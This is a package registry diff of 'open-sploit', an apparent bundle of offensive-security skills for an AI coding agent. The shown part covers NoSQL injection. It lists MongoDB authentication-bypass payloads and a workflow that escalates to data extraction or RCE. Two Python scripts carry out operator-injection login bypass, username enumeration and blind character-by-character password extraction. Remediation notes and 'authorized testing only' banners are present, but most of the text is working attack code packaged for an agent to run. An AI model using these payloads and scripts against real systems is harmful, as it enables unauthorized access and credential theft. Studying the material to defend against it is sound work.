open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
# API Reference: NoSQL Injection Testing
|
|
2
|
+
|
|
3
|
+
## MongoDB Query Operators
|
|
4
|
+
|
|
5
|
+
| Operator | Description | Injection Use |
|
|
6
|
+
|----------|-------------|---------------|
|
|
7
|
+
| `$ne` | Not equal | Bypass authentication |
|
|
8
|
+
| `$gt` | Greater than | Extract data |
|
|
9
|
+
| `$regex` | Regular expression | Pattern matching |
|
|
10
|
+
| `$exists` | Field exists | Enumerate fields |
|
|
11
|
+
| `$where` | JavaScript expression | Code execution |
|
|
12
|
+
| `$or` | Logical OR | Logic bypass |
|
|
13
|
+
|
|
14
|
+
## Authentication Bypass Payloads
|
|
15
|
+
|
|
16
|
+
### GET Parameters
|
|
17
|
+
```
|
|
18
|
+
?username[$ne]=&password[$ne]=
|
|
19
|
+
?username=admin&password[$gt]=
|
|
20
|
+
?username[$regex]=admin.*&password[$ne]=
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
### JSON Body
|
|
24
|
+
```json
|
|
25
|
+
{"username": {"$ne": ""}, "password": {"$ne": ""}}
|
|
26
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
27
|
+
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Data Extraction
|
|
31
|
+
|
|
32
|
+
### Regex-Based Extraction
|
|
33
|
+
```json
|
|
34
|
+
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
|
|
35
|
+
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
|
|
36
|
+
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### $where JavaScript Injection
|
|
40
|
+
```json
|
|
41
|
+
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
## Error-Based Detection
|
|
45
|
+
|
|
46
|
+
### MongoDB Error Messages
|
|
47
|
+
| Error | Indicator |
|
|
48
|
+
|-------|-----------|
|
|
49
|
+
| `MongoError` | MongoDB driver error |
|
|
50
|
+
| `CastError` | Invalid ObjectId |
|
|
51
|
+
| `BSONTypeError` | Invalid BSON type |
|
|
52
|
+
| `SyntaxError` | JavaScript parse error |
|
|
53
|
+
|
|
54
|
+
## Testing Tools
|
|
55
|
+
|
|
56
|
+
### NoSQLMap
|
|
57
|
+
```bash
|
|
58
|
+
python nosqlmap.py --url http://target/api/login --method POST \
|
|
59
|
+
--data '{"username":"test","password":"test"}'
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Burp Suite Intruder
|
|
63
|
+
Use NoSQL payload wordlist with parameter fuzzing.
|
|
64
|
+
|
|
65
|
+
## Python requests Testing
|
|
66
|
+
|
|
67
|
+
### GET Injection
|
|
68
|
+
```python
|
|
69
|
+
import requests
|
|
70
|
+
url = "http://target/api/users"
|
|
71
|
+
resp = requests.get(f"{url}?username[$ne]=&password[$ne]=")
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### JSON Injection
|
|
75
|
+
```python
|
|
76
|
+
payload = {"username": {"$ne": ""}, "password": {"$ne": ""}}
|
|
77
|
+
resp = requests.post(url, json=payload)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## Remediation
|
|
81
|
+
1. Use parameterized queries (never concatenate user input)
|
|
82
|
+
2. Validate input types (reject objects where strings expected)
|
|
83
|
+
3. Use `mongo-sanitize` or equivalent input sanitization
|
|
84
|
+
4. Disable `$where` operator if not needed
|
|
85
|
+
5. Implement proper authentication (don't rely on query-level checks)
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
# Standards & References — NoSQL Injection
|
|
2
|
+
|
|
3
|
+
## Industry Standards
|
|
4
|
+
- **OWASP Top 10 2021 A03** — Injection (includes NoSQL injection)
|
|
5
|
+
- **OWASP Testing Guide** — Testing for NoSQL Injection (WSTG-INPV-05.6)
|
|
6
|
+
- **CWE-943** — Improper Neutralization of Special Elements in Data Query Logic
|
|
7
|
+
- **MITRE ATT&CK T1190** — Exploit Public-Facing Application
|
|
8
|
+
|
|
9
|
+
## Technical References
|
|
10
|
+
- PortSwigger Web Security Academy: https://portswigger.net/web-security/nosql-injection
|
|
11
|
+
- OWASP NoSQL Testing Guide: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
|
|
12
|
+
- PayloadsAllTheThings NoSQL: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
|
|
13
|
+
- MongoDB Security Checklist: https://www.mongodb.com/docs/manual/administration/security-checklist/
|
|
14
|
+
- HackTricks NoSQL: https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
|
15
|
+
|
|
16
|
+
## Tools
|
|
17
|
+
- NoSQLMap: https://github.com/codingo/NoSQLMap
|
|
18
|
+
- nosqli: https://github.com/Charlie-belmer/nosqli
|
|
19
|
+
- MongoDB documentation on query operators: https://www.mongodb.com/docs/manual/reference/operator/query/
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
# Workflows — NoSQL Injection Exploitation
|
|
2
|
+
|
|
3
|
+
## Detection Workflow
|
|
4
|
+
1. Identify application technology stack (check for MongoDB, CouchDB indicators)
|
|
5
|
+
2. Map all input points accepting JSON data or query parameters
|
|
6
|
+
3. Submit operator payloads ($ne, $gt, $regex) in each parameter
|
|
7
|
+
4. Monitor responses for authentication bypass or data leakage
|
|
8
|
+
5. Test for JavaScript injection via $where operator
|
|
9
|
+
6. Document all vulnerable endpoints with proof-of-concept payloads
|
|
10
|
+
|
|
11
|
+
## Blind Extraction Workflow
|
|
12
|
+
1. Confirm boolean-based injection by comparing true/false responses
|
|
13
|
+
2. Determine password/field length using $regex with length patterns
|
|
14
|
+
3. Extract characters one at a time using $regex "^<known_chars><test>"
|
|
15
|
+
4. Automate extraction with Python script using binary search
|
|
16
|
+
5. Validate extracted data by attempting authentication
|
|
17
|
+
|
|
18
|
+
## Automated Scanning Workflow
|
|
19
|
+
1. Configure proxy (Burp Suite) to intercept target traffic
|
|
20
|
+
2. Run NoSQLMap against identified endpoints
|
|
21
|
+
3. Use nuclei with NoSQL injection templates for broad coverage
|
|
22
|
+
4. Manually verify automated findings with crafted payloads
|
|
23
|
+
5. Escalate confirmed findings to data extraction or RCE attempts
|
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Agent for testing NoSQL injection vulnerabilities in web applications."""
|
|
3
|
+
|
|
4
|
+
import argparse
|
|
5
|
+
import json
|
|
6
|
+
from datetime import datetime, timezone
|
|
7
|
+
|
|
8
|
+
try:
|
|
9
|
+
import requests
|
|
10
|
+
HAS_REQUESTS = True
|
|
11
|
+
except ImportError:
|
|
12
|
+
HAS_REQUESTS = False
|
|
13
|
+
|
|
14
|
+
NOSQL_PAYLOADS_GET = [
|
|
15
|
+
("[$ne]", ""),
|
|
16
|
+
("[$gt]", ""),
|
|
17
|
+
("[$regex]", ".*"),
|
|
18
|
+
("[$exists]", "true"),
|
|
19
|
+
("[$nin][]", "impossible"),
|
|
20
|
+
]
|
|
21
|
+
|
|
22
|
+
NOSQL_PAYLOADS_JSON = [
|
|
23
|
+
{"$ne": ""},
|
|
24
|
+
{"$gt": ""},
|
|
25
|
+
{"$regex": ".*"},
|
|
26
|
+
{"$exists": True},
|
|
27
|
+
{"$where": "1==1"},
|
|
28
|
+
{"$or": [{"a": 1}, {"b": 1}]},
|
|
29
|
+
]
|
|
30
|
+
|
|
31
|
+
ERROR_INDICATORS = [
|
|
32
|
+
"mongoerror", "bson", "objectid", "cast to objectid",
|
|
33
|
+
"json parse error", "syntaxerror", "unexpected token",
|
|
34
|
+
"cannot read property", "mongodb",
|
|
35
|
+
]
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
def test_get_injection(url, param, token=None):
|
|
39
|
+
"""Test NoSQL injection via GET parameter manipulation."""
|
|
40
|
+
if not HAS_REQUESTS:
|
|
41
|
+
return []
|
|
42
|
+
findings = []
|
|
43
|
+
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
|
44
|
+
try:
|
|
45
|
+
baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
|
|
46
|
+
baseline_len = len(baseline.text)
|
|
47
|
+
except requests.RequestException:
|
|
48
|
+
return findings
|
|
49
|
+
|
|
50
|
+
for suffix, value in NOSQL_PAYLOADS_GET:
|
|
51
|
+
try:
|
|
52
|
+
test_url = f"{url}?{param}{suffix}={value}"
|
|
53
|
+
resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
|
|
54
|
+
indicators = []
|
|
55
|
+
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
|
|
56
|
+
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
|
|
57
|
+
for err in ERROR_INDICATORS:
|
|
58
|
+
if err in resp.text.lower():
|
|
59
|
+
indicators.append(f"Error indicator: {err}")
|
|
60
|
+
if indicators:
|
|
61
|
+
findings.append({
|
|
62
|
+
"param": param, "payload": f"{param}{suffix}={value}",
|
|
63
|
+
"method": "GET", "indicators": indicators,
|
|
64
|
+
})
|
|
65
|
+
except requests.RequestException:
|
|
66
|
+
continue
|
|
67
|
+
return findings
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def test_json_injection(url, field, token=None):
|
|
71
|
+
"""Test NoSQL injection via JSON body."""
|
|
72
|
+
if not HAS_REQUESTS:
|
|
73
|
+
return []
|
|
74
|
+
findings = []
|
|
75
|
+
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
|
76
|
+
headers["Content-Type"] = "application/json"
|
|
77
|
+
try:
|
|
78
|
+
baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
|
|
79
|
+
baseline_len = len(baseline.text)
|
|
80
|
+
except requests.RequestException:
|
|
81
|
+
return findings
|
|
82
|
+
|
|
83
|
+
for payload in NOSQL_PAYLOADS_JSON:
|
|
84
|
+
try:
|
|
85
|
+
resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
|
|
86
|
+
indicators = []
|
|
87
|
+
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
|
|
88
|
+
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
|
|
89
|
+
for err in ERROR_INDICATORS:
|
|
90
|
+
if err in resp.text.lower():
|
|
91
|
+
indicators.append(f"Error indicator: {err}")
|
|
92
|
+
if indicators:
|
|
93
|
+
findings.append({
|
|
94
|
+
"field": field, "payload": str(payload),
|
|
95
|
+
"method": "POST", "indicators": indicators,
|
|
96
|
+
})
|
|
97
|
+
except requests.RequestException:
|
|
98
|
+
continue
|
|
99
|
+
return findings
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
def main():
|
|
103
|
+
parser = argparse.ArgumentParser(
|
|
104
|
+
description="Test NoSQL injection vulnerabilities (authorized testing only)"
|
|
105
|
+
)
|
|
106
|
+
parser.add_argument("--url", required=True, help="Target URL")
|
|
107
|
+
parser.add_argument("--param", help="GET parameter to test")
|
|
108
|
+
parser.add_argument("--field", help="JSON field to test")
|
|
109
|
+
parser.add_argument("--token", help="Bearer token")
|
|
110
|
+
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
111
|
+
args = parser.parse_args()
|
|
112
|
+
|
|
113
|
+
print("[*] NoSQL Injection Testing Agent")
|
|
114
|
+
print("[!] For authorized security testing only")
|
|
115
|
+
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}
|
|
116
|
+
|
|
117
|
+
if args.param:
|
|
118
|
+
findings = test_get_injection(args.url, args.param, args.token)
|
|
119
|
+
report["findings"].extend(findings)
|
|
120
|
+
if args.field:
|
|
121
|
+
findings = test_json_injection(args.url, args.field, args.token)
|
|
122
|
+
report["findings"].extend(findings)
|
|
123
|
+
|
|
124
|
+
report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
|
|
125
|
+
print(f"[*] NoSQL injection findings: {len(report['findings'])}")
|
|
126
|
+
|
|
127
|
+
if args.output:
|
|
128
|
+
with open(args.output, "w") as f:
|
|
129
|
+
json.dump(report, f, indent=2)
|
|
130
|
+
print(f"[*] Report saved to {args.output}")
|
|
131
|
+
else:
|
|
132
|
+
print(json.dumps(report, indent=2))
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
if __name__ == "__main__":
|
|
136
|
+
main()
|
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
NoSQL Injection Testing Automation
|
|
4
|
+
Performs operator injection, authentication bypass, and blind data extraction.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
import requests
|
|
8
|
+
import string
|
|
9
|
+
import json
|
|
10
|
+
import sys
|
|
11
|
+
import time
|
|
12
|
+
from urllib.parse import urljoin
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
def test_operator_injection(target_url: str, content_type: str = "json") -> dict:
|
|
16
|
+
"""Test for basic NoSQL operator injection vulnerabilities."""
|
|
17
|
+
results = {"vulnerable": False, "payloads": []}
|
|
18
|
+
|
|
19
|
+
payloads = [
|
|
20
|
+
{"username": {"$ne": ""}, "password": {"$ne": ""}},
|
|
21
|
+
{"username": {"$gt": ""}, "password": {"$gt": ""}},
|
|
22
|
+
{"username": {"$exists": True}, "password": {"$exists": True}},
|
|
23
|
+
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}},
|
|
24
|
+
{"username": "admin", "password": {"$ne": ""}},
|
|
25
|
+
{"username": "admin", "password": {"$regex": ".*"}},
|
|
26
|
+
]
|
|
27
|
+
|
|
28
|
+
for payload in payloads:
|
|
29
|
+
try:
|
|
30
|
+
response = requests.post(
|
|
31
|
+
target_url,
|
|
32
|
+
json=payload,
|
|
33
|
+
headers={"Content-Type": "application/json"},
|
|
34
|
+
timeout=10,
|
|
35
|
+
allow_redirects=False
|
|
36
|
+
)
|
|
37
|
+
|
|
38
|
+
if response.status_code in [200, 302] and (
|
|
39
|
+
"dashboard" in response.text.lower() or
|
|
40
|
+
"welcome" in response.text.lower() or
|
|
41
|
+
"token" in response.text.lower() or
|
|
42
|
+
response.status_code == 302
|
|
43
|
+
):
|
|
44
|
+
results["vulnerable"] = True
|
|
45
|
+
results["payloads"].append({
|
|
46
|
+
"payload": json.dumps(payload, default=str),
|
|
47
|
+
"status_code": response.status_code,
|
|
48
|
+
"response_length": len(response.text)
|
|
49
|
+
})
|
|
50
|
+
print(f"[+] AUTH BYPASS: {json.dumps(payload, default=str)}")
|
|
51
|
+
except requests.RequestException as e:
|
|
52
|
+
print(f"[-] Request failed: {e}")
|
|
53
|
+
|
|
54
|
+
return results
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def blind_extract_field(target_url: str, username: str, field: str = "password",
|
|
58
|
+
max_length: int = 32) -> str:
|
|
59
|
+
"""Extract a field value character by character using regex-based blind injection."""
|
|
60
|
+
extracted = ""
|
|
61
|
+
charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*"
|
|
62
|
+
|
|
63
|
+
print(f"[*] Extracting {field} for user '{username}'...")
|
|
64
|
+
|
|
65
|
+
for position in range(max_length):
|
|
66
|
+
found = False
|
|
67
|
+
for char in charset:
|
|
68
|
+
test_value = extracted + char
|
|
69
|
+
payload = {
|
|
70
|
+
"username": username,
|
|
71
|
+
field: {"$regex": f"^{_escape_regex(test_value)}"}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
try:
|
|
75
|
+
response = requests.post(
|
|
76
|
+
target_url,
|
|
77
|
+
json=payload,
|
|
78
|
+
headers={"Content-Type": "application/json"},
|
|
79
|
+
timeout=10,
|
|
80
|
+
allow_redirects=False
|
|
81
|
+
)
|
|
82
|
+
|
|
83
|
+
if response.status_code in [200, 302] and (
|
|
84
|
+
"dashboard" in response.text.lower() or
|
|
85
|
+
"welcome" in response.text.lower() or
|
|
86
|
+
"token" in response.text.lower() or
|
|
87
|
+
response.status_code == 302
|
|
88
|
+
):
|
|
89
|
+
extracted += char
|
|
90
|
+
print(f"[+] Found character {position}: '{char}' -> {extracted}")
|
|
91
|
+
found = True
|
|
92
|
+
break
|
|
93
|
+
except requests.RequestException:
|
|
94
|
+
continue
|
|
95
|
+
|
|
96
|
+
time.sleep(0.05)
|
|
97
|
+
|
|
98
|
+
if not found:
|
|
99
|
+
break
|
|
100
|
+
|
|
101
|
+
print(f"[+] Extracted value: {extracted}")
|
|
102
|
+
return extracted
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def _escape_regex(text: str) -> str:
|
|
106
|
+
"""Escape special regex characters in extracted text."""
|
|
107
|
+
special_chars = r"\.+*?^${}()|[]"
|
|
108
|
+
result = ""
|
|
109
|
+
for char in text:
|
|
110
|
+
if char in special_chars:
|
|
111
|
+
result += "\\" + char
|
|
112
|
+
else:
|
|
113
|
+
result += char
|
|
114
|
+
return result
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def enumerate_usernames(target_url: str) -> list:
|
|
118
|
+
"""Enumerate valid usernames using regex injection."""
|
|
119
|
+
found_users = []
|
|
120
|
+
prefixes = list(string.ascii_lowercase)
|
|
121
|
+
|
|
122
|
+
print("[*] Enumerating usernames...")
|
|
123
|
+
for prefix in prefixes:
|
|
124
|
+
payload = {
|
|
125
|
+
"username": {"$regex": f"^{prefix}"},
|
|
126
|
+
"password": {"$ne": ""}
|
|
127
|
+
}
|
|
128
|
+
try:
|
|
129
|
+
response = requests.post(
|
|
130
|
+
target_url, json=payload,
|
|
131
|
+
headers={"Content-Type": "application/json"},
|
|
132
|
+
timeout=10, allow_redirects=False
|
|
133
|
+
)
|
|
134
|
+
if response.status_code in [200, 302]:
|
|
135
|
+
print(f"[+] Username starting with '{prefix}' exists")
|
|
136
|
+
found_users.append(prefix)
|
|
137
|
+
except requests.RequestException:
|
|
138
|
+
continue
|
|
139
|
+
|
|
140
|
+
return found_users
|
|
141
|
+
|
|
142
|
+
|
|
143
|
+
def test_where_injection(target_url: str) -> bool:
|
|
144
|
+
"""Test for JavaScript injection via $where operator."""
|
|
145
|
+
payloads = [
|
|
146
|
+
{"$where": "1==1"},
|
|
147
|
+
{"$where": "this.username == this.username"},
|
|
148
|
+
{"$where": "function() { return true; }"},
|
|
149
|
+
]
|
|
150
|
+
|
|
151
|
+
for payload in payloads:
|
|
152
|
+
try:
|
|
153
|
+
response = requests.post(
|
|
154
|
+
target_url, json=payload,
|
|
155
|
+
headers={"Content-Type": "application/json"},
|
|
156
|
+
timeout=10
|
|
157
|
+
)
|
|
158
|
+
if response.status_code == 200 and len(response.text) > 100:
|
|
159
|
+
print(f"[+] $where injection works: {json.dumps(payload)}")
|
|
160
|
+
return True
|
|
161
|
+
except requests.RequestException:
|
|
162
|
+
continue
|
|
163
|
+
|
|
164
|
+
return False
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
def generate_report(target_url: str, injection_results: dict,
|
|
168
|
+
extracted_data: dict, output_file: str):
|
|
169
|
+
"""Generate assessment report."""
|
|
170
|
+
with open(output_file, "w") as f:
|
|
171
|
+
f.write("# NoSQL Injection Assessment Report\n\n")
|
|
172
|
+
f.write(f"**Target**: {target_url}\n")
|
|
173
|
+
f.write(f"**Vulnerable**: {'Yes' if injection_results['vulnerable'] else 'No'}\n\n")
|
|
174
|
+
|
|
175
|
+
if injection_results["payloads"]:
|
|
176
|
+
f.write("## Successful Payloads\n\n")
|
|
177
|
+
f.write("| Payload | Status Code | Response Length |\n")
|
|
178
|
+
f.write("|---------|-------------|----------------|\n")
|
|
179
|
+
for p in injection_results["payloads"]:
|
|
180
|
+
f.write(f"| `{p['payload']}` | {p['status_code']} | {p['response_length']} |\n")
|
|
181
|
+
|
|
182
|
+
if extracted_data:
|
|
183
|
+
f.write("\n## Extracted Data\n\n")
|
|
184
|
+
for user, value in extracted_data.items():
|
|
185
|
+
f.write(f"- **{user}**: `{value}`\n")
|
|
186
|
+
|
|
187
|
+
f.write("\n## Remediation\n")
|
|
188
|
+
f.write("- Use parameterized queries and input type validation\n")
|
|
189
|
+
f.write("- Reject object/array inputs where strings are expected\n")
|
|
190
|
+
f.write("- Disable $where JavaScript execution in MongoDB configuration\n")
|
|
191
|
+
f.write("- Implement WAF rules to block MongoDB operator patterns\n")
|
|
192
|
+
|
|
193
|
+
print(f"[+] Report saved to {output_file}")
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
def main():
|
|
197
|
+
if len(sys.argv) < 2:
|
|
198
|
+
print("Usage: python process.py <target_url> [--extract <username>] [--enumerate]")
|
|
199
|
+
sys.exit(1)
|
|
200
|
+
|
|
201
|
+
target_url = sys.argv[1]
|
|
202
|
+
|
|
203
|
+
print(f"[*] Testing NoSQL injection on {target_url}")
|
|
204
|
+
results = test_operator_injection(target_url)
|
|
205
|
+
|
|
206
|
+
extracted_data = {}
|
|
207
|
+
if "--extract" in sys.argv:
|
|
208
|
+
idx = sys.argv.index("--extract")
|
|
209
|
+
username = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else "admin"
|
|
210
|
+
password = blind_extract_field(target_url, username)
|
|
211
|
+
extracted_data[username] = password
|
|
212
|
+
|
|
213
|
+
if "--enumerate" in sys.argv:
|
|
214
|
+
enumerate_usernames(target_url)
|
|
215
|
+
|
|
216
|
+
test_where_injection(target_url)
|
|
217
|
+
|
|
218
|
+
generate_report(target_url, results, extracted_data, "nosql_injection_report.md")
|
|
219
|
+
|
|
220
|
+
|
|
221
|
+
if __name__ == "__main__":
|
|
222
|
+
main()
|